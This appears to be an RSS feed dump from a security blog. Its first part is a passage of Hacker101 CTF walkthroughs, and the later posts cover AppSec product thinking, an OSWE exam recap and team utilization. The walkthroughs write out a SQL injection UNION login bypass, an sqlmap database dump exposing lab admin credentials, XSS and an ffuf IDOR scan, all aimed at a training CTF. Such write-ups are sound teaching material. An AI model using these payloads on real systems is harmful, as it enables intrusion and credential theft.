        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This yields two results,  &lt;code class=&quot;language-text&quot;&gt;&apos;hello&apos;&lt;/code&gt; on the first line and &lt;code class=&quot;language-text&quot;&gt;&apos;potato&apos;&lt;/code&gt; on the second (try it!). Is this enough?&lt;/p&gt;
&lt;p&gt;It sure is! Sending an username with the contents below and the password with value &lt;code class=&quot;language-text&quot;&gt;potato&lt;/code&gt; allows us to get logged in.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;sql&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;username=abc&amp;#39; UNION SELECT &amp;#39;potato&amp;#39;;--`&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We see the following HTML after logging in:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;html&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;title&amp;gt;Logged in&amp;lt;/title&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;h1&amp;gt;Logged In!&amp;lt;/h1&amp;gt;
		&amp;lt;a href=&amp;quot;home&amp;quot;&amp;gt;Go Home&amp;lt;/a&amp;gt;
		&amp;lt;script&amp;gt;setTimeout(function() { window.location = &amp;#39;home&amp;#39;; }, 3000);&amp;lt;/script&amp;gt;
		&amp;lt;!-- You got logged in, congrats!  Do you have the real username and password?  If not, might want to do that! --&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;That comment is slightly concerning, implying that we will still need to login properly to finish the challenge, but let’s set this aside for now.&lt;/p&gt;
&lt;p&gt;After three seconds we get redirected to the home page and we see one more page called &lt;code class=&quot;language-text&quot;&gt;Private Page&lt;/code&gt; (the page with &lt;code class=&quot;language-text&quot;&gt;ID 3&lt;/code&gt;). By clicking on it we get our second flag!&lt;/p&gt;
&lt;h3&gt;Flag 3&lt;/h3&gt;
&lt;p&gt;Now that we have edit powers I tried to cause an XSS in the &lt;code class=&quot;language-text&quot;&gt;button&lt;/code&gt; within the &lt;code class=&quot;language-text&quot;&gt;# Markdown Test&lt;/code&gt; page, like we did on the previous challenge. To do that you just need to edit that page and add an attribute &lt;code class=&quot;language-text&quot;&gt;onclick=&quot;alert(1)&quot;&lt;/code&gt; and save the page. I played a bunch with it thinking that an admin would see that page and we would be able to get their cookie through XSS, but that was a dead end.&lt;/p&gt;
&lt;p&gt;Eventually I remembered the HTML comment from &lt;code class=&quot;language-text&quot;&gt;Flag 2&lt;/code&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;html&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;&amp;lt;!-- You got logged in, congrats!  Do you have the real username and password?  If not, might want to do that! --&amp;gt;&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This prompted me to dump the database using &lt;code class=&quot;language-text&quot;&gt;sqlmap&lt;/code&gt; since I have no idea what the existing username actually is. Here’s what I did:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ sqlmap -u https://&amp;lt;subdomain&amp;gt;.ctf.hacker101.com/login --data &amp;quot;username=abc&amp;amp;password=xyz&amp;quot; -p username --dbms=mysql --dump&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;-p&lt;/code&gt; is used to specify which parameter &lt;code class=&quot;language-text&quot;&gt;sqlmap&lt;/code&gt; should test, and we know &lt;code class=&quot;language-text&quot;&gt;username&lt;/code&gt; is the vulnerable one.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We end up being able to read the &lt;code class=&quot;language-text&quot;&gt;admins&lt;/code&gt; table:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;md&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;Table: admins
[1 entry]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | stefany  | hattie   |
+----+----------+----------+&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And after logging in with these credentials we get our last flag!&lt;/p&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;This was an interesting challenge. The lack of auth for the &lt;code class=&quot;language-text&quot;&gt;POST /page/edit/&amp;lt;ID&gt;&lt;/code&gt; endpoint is realistic and easily missed if you are not using a framework that makes new endpoints secure by default. The SQLi is a common theme in CTFs, but always a fun thing to exploit.&lt;/p&gt;
&lt;p&gt;Thanks for reading and I will see you in our next post!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hacker101 CTF and Micro-CMS v1 walkthrough]]></title><description><![CDATA[Introduction to the Hacker101 CTF through the Micro-CMS v1 challenge]]></description><link>https://bernardoamc.com/hacker101-ctf/intro/</link><guid isPermaLink="false">https://bernardoamc.com/hacker101-ctf/intro/</guid><pubDate>Thu, 29 Sep 2022 09:30:00 GMT</pubDate><content:encoded>&lt;p&gt;This will be a new series of posts about the &lt;a href=&quot;https://ctf.hacker101.com/about&quot;&gt;Hacker101 CTF&lt;/a&gt;. I will be going through the challenges in the order they are presented in the site and explaining how I solved them and what was going through my mind as I approached each challenge. I will mostly focus on the web, crypto and math challenges, but an occasional misc challenge might sneak in.&lt;/p&gt;
&lt;p&gt;The goal of CTFs in general is to uncover flags, which are hidden in the challenges and have the format &lt;code class=&quot;language-text&quot;&gt;^FLAG^...$FLAG$&lt;/code&gt;. With that out of the way, let’s begin with the first challenge called &lt;code class=&quot;language-text&quot;&gt;Micro-CMS v1&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Micro-CMS v1&lt;/h2&gt;
&lt;p&gt;This is an easy challenge containing four flags with the goal of teaching you some common web vulnerabilities.&lt;/p&gt;
&lt;p&gt;When I jump into a challenge I like to start by manually investigating what is possible within the constraints of the user interface. In this case the challenge is a simple CMS with the following features:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;View page&lt;/li&gt;
&lt;li&gt;Edit page&lt;/li&gt;
&lt;li&gt;Create page&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Any time I have the option to provide user input that might get reflected back to another user I try to inject some HTML and Javascript. This prompted me to first try to create a page.&lt;/p&gt;
&lt;h3&gt;Flag 1&lt;/h3&gt;
&lt;p&gt;The first flag only requires us to create a new page with a title containing HTML tags. The steps taken were:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;New page&lt;/li&gt;
&lt;li&gt;Choose a title like &lt;code class=&quot;language-text&quot;&gt;&amp;lt;b&gt;Hello&amp;lt;/b&gt;&lt;/code&gt; or your favourite HTML tag&lt;/li&gt;
&lt;li&gt;Go back to the main page and we will receive an alert with the first flag&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Flag 2&lt;/h3&gt;
&lt;p&gt;I tried to also add &lt;code class=&quot;language-text&quot;&gt;&amp;lt;script&gt;&lt;/code&gt; tags to the body of a page without success, but exploring the other existing pages gives us the hint that our CMS supports &lt;code class=&quot;language-text&quot;&gt;Markdown&lt;/code&gt;, which we might be able to use to create HTML components with some javascript.&lt;/p&gt;
&lt;p&gt;Going to the post with the name &lt;code class=&quot;language-text&quot;&gt;Markdown Test&lt;/code&gt; and clicking on &lt;code class=&quot;language-text&quot;&gt;Edit this page&lt;/code&gt; we see that we can add buttons and links to our posts. The button element usually has handles like &lt;code class=&quot;language-text&quot;&gt;onclick&lt;/code&gt;, so I went ahead and added &lt;code class=&quot;language-text&quot;&gt;onclick=&quot;alert(1)&quot;&lt;/code&gt; to the button.&lt;/p&gt;
&lt;p&gt;After saving the page and trying to click on the button the alert did not fire, so I went to the source code to see what was wrong and I noticed that a new flag was appended as an attribute of my button. Pretty neat!&lt;/p&gt;
&lt;h3&gt;Flag 3&lt;/h3&gt;
&lt;p&gt;At this point we got HTML injection and XSS. Another common web vulnerability is called &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;, or &lt;code class=&quot;language-text&quot;&gt;SQLi&lt;/code&gt;. This usually happens on endpoints that accept a parameter like an &lt;code class=&quot;language-text&quot;&gt;ID&lt;/code&gt; or a similar identifier, but can also be found on any endpoints accepting user input. In our CMS we have two locations accepting identifiers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;/page/:id&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;/page/edit/:id&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My first test was to add a single quote to &lt;code class=&quot;language-text&quot;&gt;/page/1&apos;&lt;/code&gt;, but we get &lt;code class=&quot;language-text&quot;&gt;404&lt;/code&gt; as a response code. This implies the endpoint is correctly escaping our user input. Don’t be discouraged when the first few endpoints are not vulnerable to the attack you are trying to perform, it’s pretty common that developers overlook something in a bigger web application.&lt;/p&gt;
&lt;p&gt;In our case hitting &lt;code class=&quot;language-text&quot;&gt;/page/edit/1&apos;&lt;/code&gt; with the same payload gets us another flag, which proves that the endpoint was vulnerable to SQL injection.&lt;/p&gt;
&lt;h3&gt;Flag 4&lt;/h3&gt;
&lt;p&gt;There’s another common vulnerability on endpoints that accept identifiers called &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html&quot;&gt;Insecure Direct Object Reference&lt;/a&gt;, commonly abbreviated to &lt;code class=&quot;language-text&quot;&gt;IDOR&lt;/code&gt;. Seeing the page IDs and no authorization in place makes me want to try and enumerate the web application for other IDs. Here’s the approach I took:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a sequence of numbers, for example, 1 to 20 and persist those in a file: &lt;code class=&quot;language-text&quot;&gt;seq 20 &gt; range.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Scan all these numbers, I’ve used &lt;a href=&quot;https://github.com/ffuf/ffuf&quot;&gt;ffuf&lt;/a&gt; to do it:
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;ffuf -w range.txt https://&amp;lt;subdomain&gt;.ctf.hacker101.com/page/FUZZ&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We get as a result:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;1    [Status: 200, Size: 239, Words: 12, Lines: 15]
4    [Status: 403, Size: 234, Words: 27, Lines: 5]
11   [Status: 200, Size: 253, Words: 8, Lines: 14]
2    [Status: 200, Size: 433, Words: 19, Lines: 16]

:: Progress: [20/20] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Page 1 and 2 are the default pages when we create our challenge, page &lt;code class=&quot;language-text&quot;&gt;11&lt;/code&gt; is the page I’ve created when we got our first flag. Among those numbers we never interacted with page number &lt;code class=&quot;language-text&quot;&gt;4&lt;/code&gt;, but notice how the status of page 4 is being returned as &lt;code class=&quot;language-text&quot;&gt;403&lt;/code&gt; when we try to access &lt;code class=&quot;language-text&quot;&gt;page/4&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Turns out we can also bypass this by going to the &lt;code class=&quot;language-text&quot;&gt;/page/edit/4&lt;/code&gt; endpoint and we get our last flag.&lt;/p&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;This challenge is a great introduction to common CTF themes. I particularly liked that the &lt;code class=&quot;language-text&quot;&gt;GET /page/4&lt;/code&gt; endpoint was protected, but &lt;code class=&quot;language-text&quot;&gt;/page/edit/4&lt;/code&gt; wasn’t since this is a common issue even in enterprise level systems when they are not following secure by default practices.&lt;/p&gt;
&lt;p&gt;Thanks for reading and I will see you in our next post!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security and product teams]]></title><description><![CDATA[Or what could AppSec learn from product teams?]]></description><link>https://bernardoamc.com/security-and-product-teams/</link><guid isPermaLink="false">https://bernardoamc.com/security-and-product-teams/</guid><pubDate>Tue, 26 Jul 2022 12:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Product teams have evolved a lot in the past decade or so, coming up with a refined process in order to provide value to a target audience in the shortest amount of time. Each product is backed by data which is then pulled apart to measure dimensions like engagement or adoption, which in turn drive the next iteration of the product. The best product teams know their target audience by heart and have clear value propositions tailored to that audience. And while there are downsides to this approach like pressure to deliver through unrealistic deadlines, Application Security could learn a thing or two from product teams.&lt;/p&gt;
&lt;p&gt;Let’s dive into things that are frequently overlooked by Application Security and see how we could benefit from adopting, or at least considering those areas as valuable input. Before we start I would like to mention that this should not be treated as a binary approach (all or nothing), different Application Security products will have distinct needs.&lt;/p&gt;
&lt;h2&gt;Market Segment&lt;/h2&gt;
&lt;p&gt;Who is the audience of your project? Answering this question early on will help the team to decide which tradeoffs to make and what they should optimize for. Are we catering to developers? A particular industry? Smaller organizations? Large organizations? It is not uncommon for security initiatives to fail because they cater to an audience that is not technical, but still require a lot of technical knowledge through fine tuning or customizations. Another big way security products fail is by &lt;em&gt;assuming&lt;/em&gt; knowledge about their target audience without prior research.&lt;/p&gt;
&lt;p&gt;The more fine grained your audience is, the more you can understand their needs and how they can be addressed. While it’s completely fine to appeal to a broader audience, the initiative should still be tailored to a core audience.&lt;/p&gt;
&lt;h3&gt;Actionable Items&lt;/h3&gt;
&lt;p&gt;Most product owners have a hunch about what their audience is, but in order to validate that assumption a few things can be helpful:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Reach out&lt;/em&gt; to your assumed audience. Early feedback is critical to validate your assumptions and avoid building the wrong product.
&lt;ul&gt;
&lt;li&gt;Explain which problems you are trying to solve&lt;/li&gt;
&lt;li&gt;Identify which problems your intended audience is facing&lt;/li&gt;
&lt;li&gt;Explain how your are aiming to solve those problems&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Identify the decision makers and supporters involved in the adoption/purchase of the product. How will you communicate with each group?
&lt;ul&gt;
&lt;li&gt;Decision makers are the ones that will be able to greenlight the purchase of the product&lt;/li&gt;
&lt;li&gt;Supporters are the ones that will influence the decision makers and potentially help them understand the value of the product&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Analyze your competitors. Who are they catering to and how are they doing it?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These questions should be continuously revised while your product evolves.&lt;/p&gt;
&lt;h2&gt;Value proposition&lt;/h2&gt;
&lt;p&gt;Having a deep understanding of the domain and the problem being solved is not enough. Knowing how to explain the value of your product and the actual problem being solved in a way that connects to your core audience is equally if not more important. This is tightly related to the brand of the product, which is an area rarely mentioned within AppSec. As a rule of thumb if you need another AppSec engineer to explain the value of your product it’s highly likely that your product will not gain traction unless your core audience is AppSec engineers themselves.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not assume&lt;/strong&gt; you know what your core audience needs, doing some customer research early on goes a long way to prevent the product from focusing on the wrong things.&lt;/p&gt;
&lt;h3&gt;Actionable Items&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Identify the core differentiators of your product
&lt;ul&gt;
&lt;li&gt;What makes your product unique?&lt;/li&gt;
&lt;li&gt;What are the benefits of using your product?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tailor your message to &lt;em&gt;your audience&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Create a strong and clear headline that communicates the delivered benefits to the audience
&lt;ul&gt;
&lt;li&gt;Sometimes a subheadline can be used to provide more context/examples&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Minimum Viable Product (MVP)&lt;/h2&gt;
&lt;p&gt;After identifying the value proposition, what is the minimum set of features you can provide your customers? The faster the product can validate that their value proposition and market segment are correct the higher the chances of that product succeeding. Product teams often prototype something quick and throw it away once their value proposition is validated. AppSec teams can employ the same technique, but they should be careful to manage stakeholder expectations in order to not lose trust. Cutting corners without a clear action plan has bigger consequences for AppSec.&lt;/p&gt;
&lt;h3&gt;Actionable Items&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Identify the feature or features necessary to solve a core problem for a set of users
&lt;ul&gt;
&lt;li&gt;This can be only a part of your final intended audience&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Validate your assumptions after every feature release
&lt;ul&gt;
&lt;li&gt;Check if the intended benefits of the MVP are aligned with your audience expectation&lt;/li&gt;
&lt;li&gt;Identify pain points in the current iteration&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;User Experience&lt;/h2&gt;
&lt;p&gt;I will loosely use the term user experience as the ability for customers to use the product independently of where in their journey they are. As a new customer adopting the product, how much work is expected from them to get started? Do they need to refer to documentation or reach out in another channel (Slack channels, email, phone, etc) for support? Can someone experienced with the product customize it to better fit their needs? These should all be conscious decisions before releasing the product.&lt;/p&gt;
&lt;p&gt;As a rule of thumb the easier the product is from the get-go (“no config” and good defaults) the more it will gain traction. Allowing it to be customized &lt;em&gt;after&lt;/em&gt; customers are familiar with it will create a loyal customer base and increase customer retention. In other words, try to defer complexity to the later stages of the customer journey.&lt;/p&gt;
&lt;p&gt;Before we finish this section we should mention “breaking changes”. One of the main reasons for customer retention are customers feeling that they have mastered your product. Shipping breaking changes force customers to go back on their learning journey and give them the perfect opportunity to consider easier alternatives. How many times have you stuck with a product despite a modern one existing just because you know it end to end?&lt;/p&gt;
&lt;h3&gt;Actionable Items&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Identify a default configuration that would work for the majority of your audience
&lt;ul&gt;
&lt;li&gt;Make the common usage easy and the uncommon path possible through custom configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Create documentation &lt;em&gt;for your audience&lt;/em&gt;, do not assume prior knowledge
&lt;ul&gt;
&lt;li&gt;Provide examples and make those interactive when possible&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Provide a dedicated place for your audience to ask and share feedback&lt;/li&gt;
&lt;li&gt;Minimize breaking changes
&lt;ul&gt;
&lt;li&gt;When that is not possible provide a clear migration path from previous versions or automate it&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Data&lt;/h2&gt;
&lt;p&gt;Data is a broad topic and has two sides here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Data used to drive the product&lt;/li&gt;
&lt;li&gt;Data provided to customers through product usage&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Data used to drive the product&lt;/h3&gt;
&lt;p&gt;Are decisions to add, modify or remove a feature backed by data? When a new version of the product is released, can adoption and feature usage be measured? Is customer feedback being collected? All of these questions can help the product be successful and stay relevant for the long term. This will also enable continuous experimentation within the product. Pay attention to your early adopters and product advocates’ feedback, they are a driving force that can help the product be adopted by a larger audience.&lt;/p&gt;
&lt;p&gt;Having data is half of the battle, knowing what to measure is the other half. Ideally this data should be used to measure predetermined desired outcomes.&lt;/p&gt;
&lt;h3&gt;Data provided to customers through product usage&lt;/h3&gt;
&lt;p&gt;Can customers introspect and verify the claims made by the product through usage? Do they have access to dashboards and reports? This is a critical step to build trust and customer loyalty. Most of the time customers will have their own stakeholders and providing &lt;em&gt;digestible data&lt;/em&gt; will help them justify paying for the product.&lt;/p&gt;
&lt;h3&gt;Actionable Items&lt;/h3&gt;
&lt;p&gt;Your data should be &lt;em&gt;measurable&lt;/em&gt;. Avoid vague statements like “we want to improve load times” or even statements that leave margin for interpretation like “we want to reduce load times by 20%“. Instead, be specific: “we aim to reduce average load time from 3s to 1.5s”.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Identify the desired outcomes of your product
&lt;ul&gt;
&lt;li&gt;What are the metrics that will help you measure those outcomes?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Identify the desired outcomes of your audience
&lt;ul&gt;
&lt;li&gt;Does your product provide the necessary data to measure those outcomes?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Semgrep as a real life example&lt;/h2&gt;
&lt;p&gt;I will talk about &lt;code class=&quot;language-text&quot;&gt;r2c&lt;/code&gt; product called &lt;a href=&quot;https://semgrep.dev&quot;&gt;Semgrep&lt;/a&gt; since I’ve been following its development for a while. I’m in no way affiliated with the company or product, but I admire the team’s ability to execute and engage with the community.&lt;/p&gt;
&lt;p&gt;Semgrep very early on identified its core audience as developers interested in static analysis, but they also cater to organizations as broader market segment. Its landing page has their value proposition in a very clear manner, the main one being: “provide static analysis at ludicrous speed”, followed by ways it can achieve that goal like providing public rules and supporting a variety of programming languages, these are also called the &lt;em&gt;core diferentiators&lt;/em&gt; of the product. Below the list of core differentiators we see companies already using Semgrep, which acts as a social proof and makes you wonder if your own organization can also benefit from it.&lt;/p&gt;
&lt;p&gt;The main areas where in my opinion Semgrep did really well are &lt;code class=&quot;language-text&quot;&gt;User Experience&lt;/code&gt;, building a great &lt;code class=&quot;language-text&quot;&gt;Minimum Viable Product&lt;/code&gt; and using a &lt;code class=&quot;language-text&quot;&gt;data driven development&lt;/code&gt; approach.&lt;/p&gt;
&lt;h3&gt;MVP&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;r2c&lt;/code&gt; released their product with a subset of the programming languages they provide today and a much simpler version of their rule engine. The same can be said about their public rules, documentation and even their playground which didn’t have an advanced option at the time. Despite that, the core functionality was there from the get go and it was clear to me (the audience) the value that Semgrep was aiming to provide.&lt;/p&gt;
&lt;h3&gt;User Experience&lt;/h3&gt;
&lt;p&gt;This is the core of their product and can be felt through well written documentation, an interactive playground where we can test rules and a very supportive community in Slack. As a customer I can start using Semgrep just by relying on their public rules and once I’m familiar with the product I’m able to extend it to create rules that fits my own needs. Remember the rule of thumb to defer complexity to the later stages of the customer journey? Semgrep executed really well here with defaults that work just fine for someone that is exploring their product for the first time.&lt;/p&gt;
&lt;p&gt;Another point worth mentioning is that despite the fact that Semgrep constantly pushes new features and improvements, it doesn’t force the user to relearn how to use their product since the core experience remains the same.&lt;/p&gt;
&lt;h3&gt;Data&lt;/h3&gt;
&lt;p&gt;A lot of new features are still being added to the product and some of those were flagged by the community. The interesting part here is that having a good user experience allowed &lt;code class=&quot;language-text&quot;&gt;r2c&lt;/code&gt; to build an engaged community that provides valuable feedback and advocates for the product. An area where I feel Semgrep could still improve on is providing more data to their customers in their CLI, for example, flagging rules that don’t have tests associated with it.&lt;/p&gt;
&lt;h2&gt;Recap&lt;/h2&gt;
&lt;p&gt;AppSec is still in the early stages of shipping products and can benefit a lot from lessons that product teams have already internalized. My expectation is that in the next decade or so we will see a lot of exciting products in this space that have mastered these basics. If you have an opinion on this subject I would love to have a chat with you, please reach out!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Offensive Security Web Expert (OSWE) certification]]></title><description><![CDATA[A recap on my journey through the OSWE certification]]></description><link>https://bernardoamc.com/offensive-security-oswe/</link><guid isPermaLink="false">https://bernardoamc.com/offensive-security-oswe/</guid><pubDate>Mon, 04 Jul 2022 12:30:00 GMT</pubDate><content:encoded>&lt;p&gt;It has been a bit quiet here over the past few months, this is mostly due to my renewed focus into bouldering and more recently due to my journey through the &lt;a href=&quot;https://www.offensive-security.com/awae-oswe/&quot;&gt;Offensive Security Web Expert (OSWE) certification&lt;/a&gt;. I’m proud to say that I’m back into V8s (7B/7B+ or 5.12a/5.12b) and now OSWE certified. And while discussing bouldering is tempting, I’m focusing on the OSWE certification for this post.&lt;/p&gt;
&lt;p&gt;This will not be an in-depth explanation of how OSWE is organized or what it covers since there are great posts out there detailing the entire process. This will be instead a summary of OSWE through my own lens.&lt;/p&gt;
&lt;h2&gt;What is it?&lt;/h2&gt;
&lt;p&gt;This is a certification focused into white box web penetration tests. It aims to teach you the methodology to identify vulnerabilities in web applications through &lt;strong&gt;source code reading&lt;/strong&gt;. Once the vulnerability chain is identified the end goal is to &lt;strong&gt;automate the entire exploitation process&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;At this time (June 2022) the syllabus covers vulnerabilities in a wide array of programming languages and web frameworks. From the top of my mind I remember tackling web frameworks in Javascript, Java, Python, PHP and C#. They also cover a wide range of vulnerabilities, from the more common SQL injection to XSS or CSRF going up to SSTI, SSRFs, XXEs and serialization/deserialization vulnerabilities. It also covers some interesting RCE scenarios through libraries and binaries in our software supply chain. Please keep in mind that this is by no means supposed to be an exhaustive list.&lt;/p&gt;
&lt;h2&gt;What did you like about it?&lt;/h2&gt;
&lt;p&gt;I’ve enjoyed how the course material tries to impart students with a methodology to assess different codebases. It’s impossible to cover every technology or popular web framework out there, but having a solid methodology in place can help answer questions like “what should I prioritize?” or “where do I even start?“. The course did a good job emphasising logging, debugging and grepping for code.&lt;/p&gt;
&lt;p&gt;I’ve also enjoyed the extra machines that were available besides the ones that are covered in the course material. They are realistic and helped me validate if I internalized the methodology and concepts covered in the course. This is especially true since there are no walkthroughs available for them. And since the end goal is to automate the exploitation process you can be sure you will have a solid understanding of each vulnerability.&lt;/p&gt;
&lt;p&gt;Last but not least, the community is pretty active on discord and offensive security forums. This is a great way to get help and to share knowledge. If you manage to find people going over the course at the same time, which is not that hard, you can even brainstorm a problem together.&lt;/p&gt;
&lt;h2&gt;What could have been better?&lt;/h2&gt;
&lt;p&gt;I wish we had access to more hands-on machines that are aligned with the course content. While it’s possible to find machines in HackTheBox or TryHackMe that are aligned with the course content it would be great if everything was bundled within the course material.&lt;/p&gt;
&lt;p&gt;The second thing is how the exam is scored. Students are required to have a score of at least &lt;code class=&quot;language-text&quot;&gt;85&lt;/code&gt; out of &lt;code class=&quot;language-text&quot;&gt;100&lt;/code&gt; to pass. The exam consists of two machines, for each of those you will need to read 2 different files. The first file on each machine is scored &lt;code class=&quot;language-text&quot;&gt;35&lt;/code&gt; points each. The second file is scored &lt;code class=&quot;language-text&quot;&gt;15&lt;/code&gt; each. Last but not least, you cannot get to the second file without getting to the first. This structure means that failing to get one of the first files is an automatic exam failure. This adds a lot of pressure during the exam and I wonder if having more objectives could mitigate this all-or-nothing feeling.&lt;/p&gt;
&lt;h2&gt;How’s the exam?&lt;/h2&gt;
&lt;p&gt;The exam is a huge time commitment and lasts 72 hours. Students are expected to tackle two different machines in the first 48 hours where they have to complete a set of objectives like privilege escalation and remote code execution. The last 24 hours are dedicated to writing a report detailing how the objectives were identified, exploited and finally automated. I found the exam realistic and closely aligned with the course material.&lt;/p&gt;
&lt;h2&gt;Any advice?&lt;/h2&gt;
&lt;p&gt;I’m glad you asked! There were a few things that made my experience better and that I would recommend:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Engage with the community. There are a lot of talented people around and you will find yourself teaching and learning from them.&lt;/li&gt;
&lt;li&gt;Take notes. For every new technology or framework you encounter it pays off to write common insecure code patterns or general knowledge about the technology. This can drastically speed up your learning process and overall approach during code review.&lt;/li&gt;
&lt;li&gt;Every chapter in the course material has extra assignments that you can do on your own and I highly recommend doing those. They are challenging and will help you learn more about each topic. More importantly, they will require the same mindset as the exam.&lt;/li&gt;
&lt;li&gt;Take breaks during the exam to stretch, drink water and sleep. This is especially important when you find yourself stuck. Take a break, go for a walk, rethink your approach and carry on.&lt;/li&gt;
&lt;li&gt;Write a high-level documentation about vulnerabilities during the exam, this will help you when writing the report and make sure you are not forgetting anything. Screenshots are an important part of the process.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I would recommend the course to software developers interested in web security or people within application security that would like to get more comfortable with software development and source code reading. There’s a lot of value in the course material and knowing that someone went through the material and finished the exam proves their commitment to learning and improving their skillset.&lt;/p&gt;
&lt;p&gt;Stay safe everyone, and keep learning!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Watch out for teams under high utilization]]></title><description><![CDATA[A deep dive on how teams under high utilization are negatively impacted and how to spot this pattern in your own teams]]></description><link>https://bernardoamc.com/teams-under-high-utilization/</link><guid isPermaLink="false">https://bernardoamc.com/teams-under-high-utilization/</guid><pubDate>Fri, 22 Apr 2022 12:30:00 GMT</pubDate><content:encoded>&lt;p&gt;In this blog post we will discuss team responsibilities through the lenses of &lt;a href=&quot;https://en.wikipedia.org/wiki/Queueing_theory&quot;&gt;queueing theory&lt;/a&gt;. If you are not familiar with the concept don’t worry about it, but you will have to trust some of my claims. The main one being the relationship between lead time and throughput and how a &lt;em&gt;system running close to capacity tends to have higher lead times&lt;/em&gt;. Put another way:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As utilization goes up, lead time goes up as well. Except that lead time goes up exponentially.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But if I’m doing more, how can I be moving slower? This seems counterintuitive at first and it’s the reason I’m writing this blog post.&lt;/p&gt;
&lt;p&gt;Let’s define what we mean with “High utilization” and what “lead time” actually is. Once we have these definitions in place we can try to tie those concepts together and see how they impact our teams.&lt;/p&gt;
&lt;h2&gt;High utilization&lt;/h2&gt;
